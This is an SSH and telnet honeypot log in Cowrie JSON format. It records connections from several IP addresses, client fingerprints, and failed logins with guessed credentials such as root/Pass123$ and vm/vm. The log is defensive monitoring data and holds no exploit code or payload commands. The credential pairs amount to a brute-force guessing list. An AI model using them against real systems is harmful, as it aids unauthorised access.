{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:09.447094Z","src_ip":"43.156.96.97","session":"07f6e23eec02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123$","message":"login attempt [root/Pass123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:09.862491Z","src_ip":"103.91.246.101","session":"810e4e7017b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345!","message":"login attempt [root/abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:10.434324Z","src_ip":"43.156.96.97","session":"07f6e23eec02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:11.088556Z","src_ip":"103.91.246.101","session":"810e4e7017b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:11.675301Z","src_ip":"43.156.96.97","session":"07f6e23eec02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.01293349266052,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:16.580728Z","src_ip":"152.42.224.71","session":"659f60543b68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44386,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f75ca6fe1b","protocol":"ssh","message":"New connection: 31.40.204.166:44386 (159.203.135.109:22) [session: 74f75ca6fe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:16.680701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:16.694151Z","src_ip":"31.40.204.166","session":"74f75ca6fe1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:16.819429Z","src_ip":"31.40.204.166","session":"74f75ca6fe1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:17.299149Z","src_ip":"31.40.204.166","session":"74f75ca6fe1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.60014724731445,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:17.368189Z","src_ip":"152.42.224.71","session":"b7f1d0ebeafe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50414,"dst_ip":"159.203.135.109","dst_port":22,"session":"481e8a350e3b","protocol":"ssh","message":"New connection: 80.66.85.226:50414 (159.203.135.109:22) [session: 481e8a350e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:18.252740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:18.258800Z","src_ip":"80.66.85.226","session":"481e8a350e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:18.354654Z","src_ip":"80.66.85.226","session":"481e8a350e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solnce","message":"login attempt [root/solnce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:18.637526Z","src_ip":"80.66.85.226","session":"481e8a350e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:18.787499Z","src_ip":"31.40.204.166","session":"74f75ca6fe1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:19.734970Z","src_ip":"80.66.85.226","session":"481e8a350e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00409507751465,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:22.585745Z","src_ip":"152.42.224.71","session":"e6ec00c6bb0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.7470293045044,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:23.653517Z","src_ip":"152.42.224.71","session":"890184ff7383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0828d34fbc5","protocol":"telnet","message":"New connection: 152.42.224.71:37818 (10.17.0.5:23) [session: d0828d34fbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:25.882610Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47558,"dst_ip":"159.203.135.109","dst_port":22,"session":"d76af342074c","protocol":"ssh","message":"New connection: 31.40.204.166:47558 (159.203.135.109:22) [session: d76af342074c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:29.311641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:29.317083Z","src_ip":"31.40.204.166","session":"d76af342074c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:29.511315Z","src_ip":"31.40.204.166","session":"d76af342074c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:30.002930Z","src_ip":"31.40.204.166","session":"d76af342074c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:31.202219Z","src_ip":"31.40.204.166","session":"d76af342074c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.19200563430786,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:31.382456Z","src_ip":"152.42.224.71","session":"6f5be82a7d6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99d8c8c44c2","protocol":"telnet","message":"New connection: 152.42.224.71:37832 (10.17.0.5:23) [session: a99d8c8c44c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:32.434269Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32894,"dst_ip":"10.17.0.5","dst_port":23,"session":"eccc06c86a45","protocol":"telnet","message":"New connection: 152.42.224.71:32894 (10.17.0.5:23) [session: eccc06c86a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:37.028768Z"}
{"eventid":"cowrie.session.closed","duration":44.34076905250549,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:37.683825Z","src_ip":"152.42.224.71","session":"f73857bf4b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12e3cc630fe","protocol":"telnet","message":"New connection: 152.42.224.71:32896 (10.17.0.5:23) [session: d12e3cc630fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:38.299893Z"}
{"eventid":"cowrie.session.closed","duration":120.00391578674316,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:40.614399Z","src_ip":"152.42.224.71","session":"4dab4c5f4116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48858,"dst_ip":"159.203.135.109","dst_port":22,"session":"beae694ec60e","protocol":"ssh","message":"New connection: 31.40.204.166:48858 (159.203.135.109:22) [session: beae694ec60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:41.287020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:41.302167Z","src_ip":"31.40.204.166","session":"beae694ec60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:41.410387Z","src_ip":"31.40.204.166","session":"beae694ec60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:42.128482Z","src_ip":"31.40.204.166","session":"beae694ec60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:43.319205Z","src_ip":"31.40.204.166","session":"beae694ec60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32902,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e2dda0d20d","protocol":"telnet","message":"New connection: 152.42.224.71:32902 (10.17.0.5:23) [session: 47e2dda0d20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:43.377839Z"}
{"eventid":"cowrie.session.closed","duration":114.13235378265381,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:45.647408Z","src_ip":"152.42.224.71","session":"a75e9e6a51c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.92789387702942,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:47.788947Z","src_ip":"152.42.224.71","session":"ce6eb12eedd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00152325630188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:51.612004Z","src_ip":"152.42.224.71","session":"0eee4d62bd3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47140,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb910cf0a038","protocol":"telnet","message":"New connection: 152.42.224.71:47140 (10.17.0.5:23) [session: cb910cf0a038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:51.641236Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52934,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaaa5f14d5f3","protocol":"ssh","message":"New connection: 31.40.204.166:52934 (159.203.135.109:22) [session: eaaa5f14d5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:53.682323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:53.702825Z","src_ip":"31.40.204.166","session":"eaaa5f14d5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.285831451416016,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:53.794586Z","src_ip":"152.42.224.71","session":"f2f5eebe3ff3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:53.813610Z","src_ip":"31.40.204.166","session":"eaaa5f14d5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:54.609780Z","src_ip":"31.40.204.166","session":"eaaa5f14d5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":53542,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2eb52f669a4","protocol":"ssh","message":"New connection: 81.9.145.130:53542 (10.17.0.5:22) [session: e2eb52f669a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:54.882977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:54.892094Z","src_ip":"81.9.145.130","session":"e2eb52f669a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:55.011453Z","src_ip":"81.9.145.130","session":"e2eb52f669a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"horacio123","message":"login attempt [root/horacio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:55.507916Z","src_ip":"81.9.145.130","session":"e2eb52f669a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:55.803157Z","src_ip":"31.40.204.166","session":"eaaa5f14d5f3","protocol":"ssh"}
